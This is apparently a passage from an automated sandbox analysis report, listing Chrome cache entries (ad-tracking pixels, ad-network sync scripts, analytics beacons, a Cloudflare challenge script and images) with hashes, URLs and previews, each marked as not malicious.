Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=cognitiv&google_hm=iU9Hp2mz0USyDzKT0wmo_Q&google_push=AXcoOmTEC_OCmuWJYZcD8EmINjs6wkZqWEKkqa47h4SjBqO0ZEHSv8nZ_mtx7ZJQgtZVCp4bPwhGg5nthze5EIiKKgDx5WYCDBOaXkA
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 793

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/crum?cm_dsp_id=17&external_user_id=AI0WyE4WRtVRPruJLLBI&puid=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 794

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5103), with no line terminators
Category:	downloaded
Size (bytes):	5103
Entropy (8bit):	5.625737175149281
Encrypted:	false
SSDEEP:	96:CM/h/b/hlfXPDJUgEdCbIZN2xVsyy38tl7/glDv1bWq:jfyP6E/
MD5:	A8EFE0C158067720A393E5248BDA976B
SHA1:	A1AB500BCAA942D3CACCD512A717EE36F254F140
SHA-256:	82F7103225C97C105FFCAC01054DF7AE69D12BAFDF38B0B82A8A204A91DF0984
SHA-512:	AF8EDD02107F39B4E378FE57A850976CE51308798E3ED6EB3F8FB7C3C8E62CAD9A71C39A239B2D422651CF945DA4B548E00CD0B81F4ED204451F75585CED240A
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=30651594&p=137711&s=137812&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.deepintent.com/usersync/141?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://cm.adgrx.com/bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.l

Chrome Cache Entry: 795

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	104
Entropy (8bit):	4.568208417061863
Encrypted:	false
SSDEEP:	3:UKJJFHTWWRmNbMWEAjR3uuIIE0pAspn:UKJjTWWRmNo0F8IE0bpn
MD5:	435A451090061BE4C0254761F2F94E1F
SHA1:	1A873F8C9A0DFB421E3213DFBBFA8AAFA9960D4C
SHA-256:	6C68769E8470CE89A0F2270529A5D47DB00917E3EF9DF946DCA202098F09D0A2
SHA-512:	0506DBDEDE1F984B75421EC86CDD451752EC85B44F5A6F880BC0F06BF8884F1F934F4EAFAD41ED89015D2118A73BD4DCB20AD4B0D2118E16F311AA25737CF1AB
Malicious:	false
Reputation:	low
URL:	"https://polyfill.io/v3/polyfill.min.js?features=default,es2015,es2016,es2017,es2018,es2019,es5,es6,es7&flags=gated"
Preview:	/. Polyfill service v3.111.0. * Disable minification (remove `.min` from URL path) for more info.*/..

Chrome Cache Entry: 796

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 797

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2156)
Category:	downloaded
Size (bytes):	44701
Entropy (8bit):	5.556418658154966
Encrypted:	false
SSDEEP:	768:0n23gP8cSTWDHO4Y5DoAsxaVTlo50Zpl+B8Jpc02Wf:0vkt+BAsKxO6pcqf
MD5:	6583128F6D84D81BFD8CBBF3F2D13FC8
SHA1:	47DB6DC2FB779DEA41436F1AEF6B38B90588774B
SHA-256:	D0BFFC7261DF1454C5E05475CDA7D9E6647318DC6C3936767E1252BFE8849C54
SHA-512:	DF4026351FED40111D17EF75FF87E650627AC408BA175B7B1240D48551EF32321365139CA677C2F14178ACD0C71228B39C95C53A02BDEE10478437784AE6B263
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/instream/video/client.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),p=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.p("String.prototype.endsWith",function(a){return a?a:a=function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.endsWith must no

Chrome Cache Entry: 798

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2587
Entropy (8bit):	4.3563920889043395
Encrypted:	false
SSDEEP:	48:vVrxWCHczjSZ1MxfijGe9OggbKCfZf2OCHf2WSiDkZ0CNUfeT:trUC8nE1MxfiyemmCRfwHf2WSiDkfNUg
MD5:	CD80C392C7F06384CD4E3319AA964A6A
SHA1:	AD1D6F95EB1B8109917CF1FA4E719E400347D9AE
SHA-256:	5736A9A2D7B76D6C929A6B95EA2B217CEABFDF837772BCEDAC3F7F9EB71AF75F
SHA-512:	84AF43B345E48F80E64925D2D0932A2D2D2D59D002B25EF332E3C85F738CDED86817130B18B0C638DE5CBF0CE205FDD7F2A263F3912108EFD08E4D0302B44A61
Malicious:	false
Reputation:	low
URL:	https://us-east-1.paa-reporting-advertising.amazon/paa/rf_module_registration.html?request_bidid=ZqlTNgz5JGtRJWemKlOqJg&creative_id=592911586383749832&ad_id=593028458723293686&campaign_id=579886048148097626&advertiser_id=588872500020555147&is_3p=true&ep=paa
Preview:	<!DOCTYPE html>.<html lang="en">.<body>.<script>. const doNothing = () => {. };.. async function registerAndExecuteRF() {. if (!window.sharedStorage) {. return;. }. const input = parseInputParameters();. const is3P = input.is3P;. if (is3P !== false && is3P !== 'false') {. await window.sharedStorage.worklet.addModule('rf_module.js');. await window.sharedStorage.run('rf-module', {. data: input,. privateAggregationConfig: {contextId: input.debugKey}. });. registerEntityId(input);. }. }.. function parseInputParameters() {. const params = new URLSearchParams(location.search);. return {. creativeId: params.get('c') \|\| params.get('creative_id'),. adId: params.get('a') \|\| params.get('ad_id'),. campaignId: params.get('ca') \|\| params.get('campaign_id'),. advertiserId: params.get('av') \|\| params.get(

Chrome Cache Entry: 799

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 800

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	14779
Entropy (8bit):	5.346557742565341
Encrypted:	false
SSDEEP:	384:G2B1V10V6X04k0Vl0p0+LjaVyV6V5Vgn8xn8pkKfn8fdYc+1F8Ab4Jjg1:xeQ04k0Vl0p0+Ljags3mn8xn8prfn8fg
MD5:	8F498441DA37B972527ABE4BEE9D42EA
SHA1:	FC0E248243E0FAA387CF174C0F3D2105AD26F5DD
SHA-256:	C763A297FD1D9BE2CE80F1AC2B13623E8E7ACF24BF51C62998B14520BBEE947D
SHA-512:	75D2AE011DBB8F1626AF906266DC28986393503E045AE760ABF2C36F212DB24662DA3B79C5FE40CF89BD9B278332BF639132A9973FB5D3112E1EF8D46A18866E
Malicious:	false
Reputation:	low
URL:	"https://ads.viralize.tv/player/?zid=AACAFQeVCHLlefG8&sid=01eeece05a1cab0c910a7df5dd4b4bb2&activation=onload&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&ahd=1&schain=1.0,1!movingup.it,109,1,,,&player_session=%7B%22page_id%22%3A%22018e8441b31cc64c0ea7193c3ebea690%22%2C%22screen%22%3A%7B%22width%22%3A1280%2C%22height%22%3A1024%7D%2C%22page%22%3A%7B%22width%22%3A1263%2C%22height%22%3A13576%7D%2C%22viewport%22%3A%7B%22width%22%3A1280%2C%22height%22%3A907%7D%2C%22player_size%22%3A%7B%22width%22%3A535%2C%22height%22%3A301%7D%7D&sc=1&gdpr=0&cmp=unavailable&dd=bsnews.it"
Preview:	{"impression":{"creativity":{"videos":[],"thumbnails":[],"duration":0,"siteloop":{"scenes":[]}},"pricing":{"demand_pay_event":null,"supply_pay_event":null,"content_pay_event":null},"plugins":[],"format":{"code":"thumbstream-autoplay","controller":"overlay","audio":"H","skip_delay":3,"enable_controlbar":false,"full_viewability":false,"full_viewability_content":false,"enable_inplayer_skip":true,"enable_inplayer_branding":true,"activation":"onload"}},"content":{"_id":"c3RhbmRhbG9uZRpujSbK2oF8","name":null,"item_type":"content","creator":null,"metadata":{}},"environment":{"client":{"ip_address":"102.165.48.43","page_url":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","appid":null,"referrer":"aHR0cHM6Ly9ic25ld3MuaXQvPmliLwBVYOk=","ssl":true,"endpoint_host":"ads.viralize.tv","detected_domain":"bsnews.it","device":{"type":"D","family":"Other"},"geo":{"country":"US","state_region":"USDC","city":"Washington","zip_code":"56972"},"user_agent":"Moz

Chrome Cache Entry: 801

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	5.1963848508448764
Encrypted:	false
SSDEEP:	24:YsfGdlt5tpjJu6/8uoRKHR/Dku9seeWopvfUabPjlbI+gqY:YsedZtpraRKx/DBsCoxfUab5bdgqY
MD5:	6CB309949C8081C57ACB1144CD582DD5
SHA1:	26F49236CFC641E9A8328222D7691FE9A1B2042D
SHA-256:	2C5D91C4DE061A01211FE8858F9D3DCCD268B24411C102B70C28979E30091BFD
SHA-512:	3CBE049DB3FF9292F4E50942D7427A5ACD2CEAA052B972C36E6BD4563B81E3860F9C86040A9D10E7F58EA9F77CDFB8C6C1EE82ADD4991765C291ED0CF60C0B6D
Malicious:	false
Reputation:	low
Preview:	{"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;if (!window.PublisherCommonId) {\n var pubcommonScript = document.createElement('script');\n pubcommonScript.src = '//secure.cdn.fastclick.net/js/pubcid/latest/pubcid.min.js';\n document.head.appendChild(pubcommonScript);\n};var id5PropertyId = '1161';\nif (id5PropertyId && id5PropertyId.charAt(0) !== '%') {\n var id5Script = document.createElement('script');\n id5Script.src = '//cdn.id5-sync.com/api/1.0/id5-api.js';\n id5Script['onload'] = function(e) { \n ID5.init({ partnerId: Number(id5PropertyId) , provider: 'aps' })\n };\n document.head.appendChild(id5Script);\n}","3pmetadata":"[{\"propertyId\":\"13376\",\"vendorId\":\"liveRamp\",\"sourceId\":\"3627\"},{\"propertyId\":null,\"vendorId\":\"pubcommon\",\"sourceId\":\"3627\"},{\"propertyId\":\"1161\",\"vendorId\":\"id5\",\"sourceId\":\"3627\"}]","3psamplerate":5}

Chrome Cache Entry: 802

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?cid=7766515454130361199&zpartnerid=592&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 803

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	17338
Entropy (8bit):	7.962455484823956
Encrypted:	false
SSDEEP:	384:xZX+utPqUyzu5+Un3hvDhXWM869NRVRj4Q8+UI:xZX+YyPu5d3JDhXT869NTRI+UI
MD5:	9A69607FA6EC431DE44433818A11C3D2
SHA1:	6251D14F36FFAC898E6DB4C5C79DA469F66D0A29
SHA-256:	5E6A0AB951ED96F00FEF03A72BB4284AF506D975523B86269E1A10E12CD219AE
SHA-512:	B13F682341601DFF0549D762F30096F297931F293941744D7CEDD078594557CA4B7778EE1D2EC761F437F9CE7CBE51C038C381BCD3FDD839E82325D4AEE24FDF
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D..".........................................................................................:..u.....%...j..<C...4...>%e.<b.s..iu.w......Z..Y.;..V.V.%...4.nxa..;....@.@...3..\.3...O......<.I6.)v......S.]..h.\.V.R...oY+.uL..N...j\..ZB.f....%F...~d.\..J..>ug)>2Mh.!6..IWiW...S.._.gD..J.....O.@...h9}.O...... <.......=....0..n3.%..xN..U{zO....'.>.>u.a.U.dZ.Z..%....s1.'YBm..A..h.+...Z.W.}J.;.....3.C.I]j.....E$...W.V..6d...I.X....fsux....k..9.,.D........H.Q.......s....n..G..u[.}.}a...?.p........n9.aY5.... ....E.]....bQV.Xz.....].:...wSJe[.15.@*..9....#oT....!]..D9.(.R.Q...v.i.u..1.M.......n....W.~....c..d"8}....;...o.L/.........#.........R^..0&mJ.3...`..?.<{.....L.[Q......wU....t.......e...=f3.....%..t3..0g .......-2.........X]o.../..rf...2...&K..i..}.I.6:.9.9...4.>....k.....]H....

Chrome Cache Entry: 804

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=33across&endpoint=us-east&us_privacy=
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 805

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7855), with no line terminators
Category:	downloaded
Size (bytes):	7855
Entropy (8bit):	5.754545133962439
Encrypted:	false
SSDEEP:	192:2xApARTp0EcE/OTixPrCbL18qwaMZLQAd9:2xqARTp0Ecp82bLWqwjZLV9
MD5:	17EBEC6BE69081032FEF09A76960FD44
SHA1:	0111817CBDD175D0D63B5262732C7E20E4206BDC
SHA-256:	5DAB856A7C9DC5647A1910E0D52CE56A2FE42FFD297C6670FA505211D5F852EB
SHA-512:	63D9BD3AFB7FF024B852D5053407E7ADB402BD5AC33B53E4D2378CF74997BBB63C2BB067AA1B053DA6062860CC99A8315D6CA7FBCD27E23191CD7F36F18395BE
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/cdn-cgi/challenge-platform/h/g/scripts/jsd/dc6b543c1346/main.js
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,m,n,o,y,z){V=b,function(c,e,U,f,C){for(U=b,f=c();!![];)try{if(C=-parseInt(U(186))/1(parseInt(U(233))/2)+-parseInt(U(181))/3(-parseInt(U(232))/4)+parseInt(U(177))/5+parseInt(U(135))/6+parseInt(U(226))/7(parseInt(U(162))/8)+-parseInt(U(204))/9+parseInt(U(144))/10(-parseInt(U(197))/11),e===C)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,876162),g=this\|\|self,h=g[V(187)],m=function(a0,e,f,C){return a0=V,e=String[a0(171)],f={'h':function(D){return null==D?'':f.g(D,6,function(E,a1){return a1=b,a1(228)[a1(207)](E)})},'g':function(D,E,F,a2,G,H,I,J,K,L,M,N,O,P,Q,R,S,T){if(a2=a0,null==D)return'';for(H={},I={},J='',K=2,L=3,M=2,N=[],O=0,P=0,Q=0;Q<D[a2(220)];Q+=1)if(R=D[a2(207)](Q),Object[a2(225)][a2(158)][a2(172)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[a2(225)][a2(158)][a2(172)](H,S))J=S;else{if(Object[a2(225)][a2(158)][a2(172)](I,J)){if(256>J[a2(188)](0)){for(G=0;G<M;O<<=1,E-1==P?(P=0,N[a2(193)](F(O)),O=0):P++,G++);for(T=J[a2(188)](0)

Chrome Cache Entry: 806

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4320)
Category:	downloaded
Size (bytes):	4321
Entropy (8bit):	5.408252556402253
Encrypted:	false
SSDEEP:	96:EdphI+rvyMW026p4cHFpd9z9UC5H2zSwJN9QOcjxd3W:4/rW026p4cHFpd9zJASyNaTdm
MD5:	77FF4EDE4693897337A38594321529A3
SHA1:	968E57B7B4229F70A6901D1B3F7D7C3F9300502E
SHA-256:	84E5AA85594B35C4B60787F4A97E2E1EB369DACBE23D8154F61F60BB0343D465
SHA-512:	66C9E1B08C5846044B6014A15249ED5C5A420A11C1765978642F132C6F9275852AB9700EEA3B3E524E5EF96E1A56C92E3FAFBF13E71F5F82633502CCF71764BD
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/internal-cs/default/beacon.js
Preview:	var COMSCORE=function(e){function n(e,n,r){-1==e.indexOf("?")&&(e+="?");var t=!1;(-1!=e.indexOf("&")\|\|e.length-1>e.indexOf("?"))&&(t=!0);for(var a=0;a<n.length;++a){var i=n[a];for(var c in i)t&&(e+="&"),t=!0,e+=c+"="+o(i[c]+"")}return e=function(e,n){if(e.length>n){var r=e.substring(0,n-8).lastIndexOf("&");e=(e=e.substring(0,r)+"&ns_cut="+o(e.substring(r+1))).substring(0,n)}return e}(e,r),e}function r(e,n){for(var r in n)e[r]=n[r]}var o="undefined"!=typeof encodeURIComponent?encodeURIComponent:escape,t="undefined"!=typeof decodeURIComponent?decodeURIComponent:unescape;function a(e,n,o,a){var i=[{},{cs_it:o,cv:"4.0.0+2301240627",ns__t:+new Date,ns_c:a?a.characterSet:""},{}];for(var c in window!=window.top&&(i[1]["ns_if"]=1),a&&(i[2]={c7:a.URL,c8:a.title,c9:a.referrer}),e){var f=e[c];"string"!=typeof f&&"number"!=typeof f\|\|("c1"==c\|\|"c2"==c?i[0][c]=f:i[1][c]=f)}if(!i[0]["c2"])return!1;if(i[0]["c1"]\|\|(i[0]["c1"]=2),n.url_append){var u=function(e){for(var n={},r=e.split("&"),o=0;o<r.length

Chrome Cache Entry: 807

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?dc=fbb23d0ef33aad5d&fi=b908337b94350305&uid=AAAFrcwOPw8mgwNFHtdmAAAAAAA&expiration=1711702352
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 808

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 234x90, components 3
Category:	dropped
Size (bytes):	11465
Entropy (8bit):	7.949009986051349
Encrypted:	false
SSDEEP:	192:TtMN83o0N8f42vJdEHlKpXTN51Dbny+xDs58tidNAY5H6bCWm5H:TSp0/OXEFKtTNLyqs58YdNr6bzmx
MD5:	BC06286F0741AC9E562668A89F121164
SHA1:	4F31D6F4075ED0B7A429BDEDD5E4E0752CEAC755
SHA-256:	1D563B80141C36A6A0478D16A1E6A77BA55C8D4DF7057E7AF29329EED78E69B6
SHA-512:	AE1D8EB1CF90C71DB9CEDEAA7291B0FD08B3178A30E3A7C0ADDD5E407833E949AC37AD2AC5C12F9650D5D2F44DDCAFC9F2DF0271E8F24B3A5B9D9D5C8E2C3357
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.......................................................................Z...."...............................................................................UK.2......)......<+...p.%.[.ir...C=.eBf..}.9.4br.a...'("N..>..v..W.:D+..W.....2...m.<..-....Y.....1;...v&.}....w..!.Ai.}O....5...a.+x.....V..6..z.Cd,{.J~..y....=.6`..h.$)..#.l.C.&..d......Sl..6n.....l.bft&.f.ks3.F..9e=..vL5..:U...-....fS..%c...[.I...B..Q\|....<Y............n..EsA..V5.........J....`m.s+j..0..Km....\|....,.n.=.(.aF.....f.v.$>..W.!u....8s.n....v.A....2....\.nPyd...5...h.... .g...G.w;4EGe:....1.1.......k....w....(...G<f^.\.....]R..cm...k...<....JS.................................!.."..#2$136...........93..yF.eD.b[Q.$.B.4..N...R.+(.>.:..$.I.'N.m+.u.bq..\w...QU.........k.......=~...P.d.c.-..3.F.s..s..*....5=}/f.".j.?...#...f...p.2.~.l...W.u.2..F1...0R}.8.I1...-.3.........d.\|...C...(....

Chrome Cache Entry: 809

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2473)
Category:	downloaded
Size (bytes):	41096
Entropy (8bit):	5.3268698995580746
Encrypted:	false
SSDEEP:	768:jh1KbpBb/i38NOlPM6V3tqUL2rxkITGH4ARp3iLjZJi1EOfbXhbNvRfuKLBzdleu:jh1Kbn3B03tuZm3iLjZJi1EOfbXhbNvd
MD5:	AC01AE1E80E99FBDEF27C7736F5EC87B
SHA1:	9955CF4B8245CD2F4713589272CBB6ECD147BF5E
SHA-256:	6300F448D738E70AC11F0140DF0B3CE91A2DE9E0DA7FDF09D32D28031600BA51
SHA-512:	9512712CAAEF1E59F85050329213E0981C3BB90B5DCE0101E3D56B7C3A9ED43D41EE3406F0DE46FC5D00F9F94C034F9D414EA003E8F967F2DEE8629019A802A0
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/omsdk/releases/live/omweb-v1.js
Preview:	;(function(omidGlobal) {. var m;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function p(a){var b='undefined'!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if('number'==typeof a.length)return{next:aa(a)};throw Error(String(a)+' is not an iterable or ArrayLike');}function r(a){if(!(a instanceof Array)){a=p(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}.var ba='function'==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},t='function'==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ca(a){a=['object'==typeof globalThis&&globalThis,a,'object'==typeof window&&window,'object'==typeof self&&self,'object'==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error('Cannot find global object');}var da=ca(this);func

Chrome Cache Entry: 810

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	10674
Entropy (8bit):	7.979686034339857
Encrypted:	false
SSDEEP:	192:v8sCRcEIm/Mr8Ouh2HYIKgn3IX2FJTdKGlOJ+Nqud49nm8/dzThSj:WRT0o52Hl3ddKGSu4nmczTQj
MD5:	98737FA12E09B8A4E31367275ABEA0C7
SHA1:	8948E80F5CC644EDC0023DAB3056EEA71BB6DA6C
SHA-256:	C5B34679A74A81C880DD712A630B9AA824D56A10C04B6F8751C8480AF75F0097
SHA-512:	7584E91040BCEF2D1D1B76E4DAB794216632DB9EF38F8206D6CEFCD7D748F3D36DFDF8DC048EEA4173B361468CDC3E2BEC9B33ADB94B4E4C9331D73454B74985
Malicious:	false
Reputation:	low
